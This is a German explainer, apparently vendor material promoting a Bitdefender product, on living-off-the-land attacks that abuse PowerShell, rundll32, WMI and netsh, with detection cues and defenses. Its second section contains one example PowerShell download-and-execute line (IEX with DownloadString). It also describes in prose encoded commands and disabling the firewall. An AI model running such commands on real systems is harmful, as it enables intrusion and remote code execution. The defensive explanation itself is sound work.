Living off the Land
Warum Angreifer immer öfter keine eigene Schadsoftware mehr mitbringen – und was das für jede Verteidigungsstrategie bedeutet, die nach Dateien sucht.
Inhaltsverzeichnis
1. Was Living off the Land bedeutet
„Living off the Land“ – von den eigenen Mitteln leben – beschreibt eine Angriffstechnik, bei der kein einziger Fremdcode auf das Zielsystem gebracht wird. Der Angreifer benutzt ausschließlich Werkzeuge, die dort ohnehin installiert sind: die Windows-Bordmittel, die jeder Administrator täglich nutzt.
Diese Programme sind digital signiert, gehören zum Betriebssystem und verhalten sich nicht auffällig – sie tun ja das, wofür sie gedacht sind. Nur eben im Auftrag von jemand anderem.
Die Zahl, die es erklärt: Nach Bitdefenders Untersuchung waren native Systemwerkzeuge in 84 Prozent aller signifikanten Sicherheitsverletzungen der Einstiegspunkt. Die Zahl stammt vom Hersteller – unabhängig nachvollziehen lässt sie sich nicht. Sie zeigt aber die Größenordnung des Problems.
Der Begriff LOLBins (Living Off the Land Binaries) bezeichnet die konkreten Programme. Eine öffentliche Sammlung mit mehreren hundert Einträgen führt das LOLBAS-Projekt – inklusive der Kommandozeilen, mit denen sich jedes davon für einen Angriff einsetzen lässt.
2. Warum es funktioniert
Klassische Virenschutz-Strategien beantworten eine Frage: Woher kommt diese Datei? Ist sie bekannt bösartig, wird sie blockiert. Ist sie unbekannt, wird sie misstrauisch beäugt. Ist sie signiert und von Microsoft, darf sie laufen.
LOTL stellt diese Frage nicht, weil es sie nicht braucht. Die Dateipowershell.exeist signiert, bekannt und legal. Dass sie gerade einen verschlüsselten Befehl ausführt, der eine Verbindung zu einem fremden Server aufbaut, steht nicht in der Datei – es steht in ihren Argumenten.
Genau darin liegt die Schwäche: Die Herkunft einer Datei sagt nichts über ihren Ausführungskontext. Wer nur den Ursprung prüft, lässt den Angriff durch, weil die Datei vertrauenswürdig ist. Und der Angreifer bleibt unauffällig, weil er nichts eingeschleust hat, was man finden könnte.
Beispiel: derselbe Befehl, zwei Absichten
# Administration: Ein Skript auf einem Server ausführen
Invoke-Command -ComputerName SRV01 -FilePath .\Wartung.ps1
# Angriff: Einen Befehl aus dem Netz nachladen und ausführen
IEX (New-Object Net.WebClient).DownloadString('http://…')Beide Zeilen rufen PowerShell auf. Die erste ist tägliche Arbeit, die zweite ein vollständiger Angriff. Ein Werkzeug, das nach Dateien sucht, sieht in beiden Fällen dasselbe.
3. Die vier meistgenutzten Werkzeuge
Jedes dieser Programme hat eine legitime Aufgabe. Der Angriff besteht nicht darin, sie zu ersetzen – sondern darin, sie anders zu benutzen.
PowerShell
T1059.001Rechtmäßig: Automatisierung, Konfigurationsverwaltung, Ausrollen von Software auf vielen Rechnern. PowerShell ist aus der Windows-Administration nicht mehr wegzudenken.
Missbräuchlich: Als Ladeprogramm für fremden Code. Der Parameter-EncodedCommanderlaubt es, den eigentlichen Befehl base64-kodiert zu übergeben – im Protokoll steht dann eine Zeichenkette, die kein Mensch liest.IEX(Invoke-Expression) führt beliebigen Text als Befehl aus.
Worauf achten: PowerShell, das von einer Office-Anwendung gestartet wird. Kodierte Befehle. Verbindungen nach draußen direkt nach dem Start.
rundll32.exe
T1218.011Rechtmäßig: Schnittstelle zwischen der Windows-Shell und Funktionsbibliotheken (DLLs). Wird aufgerufen, wenn Windows eine Funktion aus einer DLL ausführen soll, für die es kein eigenes Programm gibt.
Missbräuchlich: Als Ausführungsweg für Bibliotheken, die gar nicht ausgeführt werden sollten. Weil rundll32 signiert ist und zum System gehört, gilt der Aufruf als vertrauenswürdig – auch wenn die geladene DLL aus einem Benutzerverzeichnis stammt.
Worauf achten: rundll32 mit einem DLL-Pfad außerhalb vonC:\Windows, besonders aus %TEMP%,C:\Users\Publicoder Download-Ordnern.
WMI / WMIC
T1047Rechtmäßig: Abfragen von Systeminformationen, Inventarisierung, Fernverwaltung. Werkzeuge wie Lansweeper oder SCCM bauen darauf auf.
Missbräuchlich: WMI kann Programme auf anderen Rechnern starten – genau das, was ein Angreifer für laterale Bewegung braucht. Der Aufruf läuft über einen Systemdienst, nicht über eine sichtbare Anmeldung.
Worauf achten: Prozessstart überwmiprvse.exeals Elternprozess – das ist bei Verwaltung normal, bei einem Office-Dokument nicht.
netsh.exe
T1562.004Rechtmäßig: Netzwerk- und Firewall-Konfiguration. Ein Administrator ändert damit Regeln, ohne die grafische Oberfläche zu öffnen.
Missbräuchlich: Mit einem einzigen Befehl lässt sich die lokale Windows-Firewall abschalten – ohne Admin-Konsole, ohne Rückfrage, ohne Ereignis, das ein Mensch bemerkt.
Worauf achten: Jeder Aufruf von netsh, der die Firewall verändert. In einem normalen Betrieb passiert das selten bis nie.
4. Woran man einen LOTL-Angriff erkennt
Wenn die Datei nicht verrät, was sie tut, muss man das Verhalten prüfen. Vier Fragen führen in den meisten Fällen weiter:
Wer hat das gestartet?
Ein PowerShell-Prozess, dessen Elternprozess Word, Excel oder Outlook ist, hat fast immer nichts Gutes vor. In der Administration startet PowerShell aus einem Terminal oder einem Verwaltungswerkzeug.
Mit welchen Argumenten?
Kodierte Befehle, versteckte Fenster, das Umgehen der Ausführungsrichtlinie – diese Parameter haben in der täglichen Arbeit kaum einen Grund.
Wohin geht die Verbindung?
Ein Systemwerkzeug, das unmittelbar nach dem Start eine Verbindung zu einer unbekannten Adresse aufbaut, ist auffällig.
Was passiert danach?
Wer eine Firewall-Regel ändert und im nächsten Schritt neue Dienste installiert, tut selten etwas Gutes.
Für die Auswertung braucht es Protokolle, die das leisten: die Prozessaufrufe inklusive vollständiger Kommandozeile, die Eltern-Kind-Beziehungen, die Netzwerkverbindungen. Ohne diese Daten bleibt nur die Frage nach der Dateiherkunft – und die beantwortet bei LOTL nichts.
5. Was dagegen hilft
Drei Ebenen, von allgemein nach konkret:
Protokollierung einschalten
PowerShell-Skriptblock-Protokollierung, die vollständige Kommandozeile in den Prozessereignissen, Sysmon oder eine EDR-Lösung. Ohne diese Daten gibt es nichts, worauf man reagieren könnte. Das ist die Voraussetzung, nicht die Lösung.
Rechte begrenzen
Ein Benutzerkonto ohne lokale Administratorrechte kann keine Firewall-Regeln ändern und keine Dienste installieren. Das hilft nicht gegen den Einstieg, nimmt dem Angriff aber die Werkzeuge für alles Weitere.
Die Angriffsfläche schließen
Der wirksamste Ansatz: die Werkzeuge gar nicht erst verfügbar machen, die niemand braucht. In einem normalen Büro-Rechner wird niemand WMIC aufrufen. Wird das Tool gesperrt, ist der Angriffsweg zu – ohne dass eine Erkennung anspringen musste.
Genau das macht Dynamic Attack Surface Reduction (DASR): Sie lernt, wie einzelne Benutzer arbeiten, und schränkt die ungenutzten Werkzeuge und Aktionen ein – pro Benutzer und Endpoint. Das lässt sich manuell über Positivlisten nachbauen; der Aufwand dafür wächst mit jeder Anwendung im Unternehmen.
Ein verbreiteter Weg in diese Richtung:Der Angreifer bringt das Opfer dazu, den Befehl selbst auszuführen – über eine gefälschte Fehlermeldung, die eine Tastenkombination zum Kopieren anbietet. Diese Technik heißt ClickFix und macht einen Großteil der beobachteten Angriffe aus. Sie funktioniert nur, weil PowerShell danach ausführbar ist.
Bitdefender GravityZone PHASR setzt auf dieser Ebene an.Produktseite und Lizenzierung ansehen →
6. Fazit
LOTL ist keine neue Technik und kein Werkzeug, das man installieren könnte. Es ist die Konsequenz daraus, dass Angreifer dort suchen, wo nicht gesucht wird.
Die Verteidigung verschiebt sich damit: von der Frage „Ist diese Datei bösartig?“ zur Frage „Sollte dieses Programm gerade das tun?“Das ist unbequemer, weil es Kontext braucht – und es ist wirksamer, weil es den Angriff trifft, nicht seine Verpackung.
Wer heute nur nach Dateien sucht, prüft bei einem LOTL-Angriff die Herkunft von etwas, das nie angekommen ist.
Quellen und weiterführend
- 84-Prozent-Angabe: Bitdefender, „Die am häufigsten missbrauchten Tools“ (eBook zu Living-off-the-Land-Angriffen). Herstellerangabe, nicht unabhängig geprüft.
- LOLBAS-Projekt: öffentliche Sammlung missbrauchbarer Windows-Binärdateien mit Kommandozeilen-Beispielen.
- MITRE ATT&CK: Techniken T1059.001 (PowerShell), T1218.011 (Rundll32), T1047 (WMI), T1562.004 (Firewall-Änderung).